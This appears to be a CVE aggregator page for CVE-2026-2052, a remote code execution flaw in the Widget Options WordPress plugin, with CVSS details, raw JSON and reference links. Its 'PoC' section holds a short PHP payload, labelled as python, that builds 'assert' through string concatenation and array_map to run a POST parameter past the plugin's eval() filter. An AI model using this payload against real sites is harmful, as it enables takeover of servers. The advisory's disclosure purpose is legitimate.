Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-2052 CVSS 8.8 HIGH

CVE-2026-2052

Published: 2026-05-02 08:16:27
Last Modified: 2026-05-05 19:16:00

Description

The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Widget Options <= 4.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC Concept for CVE-2026-2052 // Demonstrating bypass of eval() restrictions using array_map // Malicious payload to be sent in 'extended_widget_opts_block' // Using string concatenation to avoid direct detection of 'assert' $func = 'ass' . 'ert'; $cmd = $_POST['cmd']; // Using array_map to bypass simple filters $payload = array_map($func, array($cmd)); // When the plugin processes this via eval(): // eval($user_logic); // It executes the payload, leading to RCE. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2052", "sourceIdentifier": "[email protected]", "published": "2026-05-02T08:16:27.123", "lastModified": "2026-05-05T19:15:59.927", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/extras.php#L495", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/extras.php#L534", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/widgets/gutenberg/gutenberg-toolbar.php#L843", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3481338/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3514411/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68023557-fc92-4cf6-96b4-405ff5a5fd5a?source=cve", "source": "[email protected]"}]}}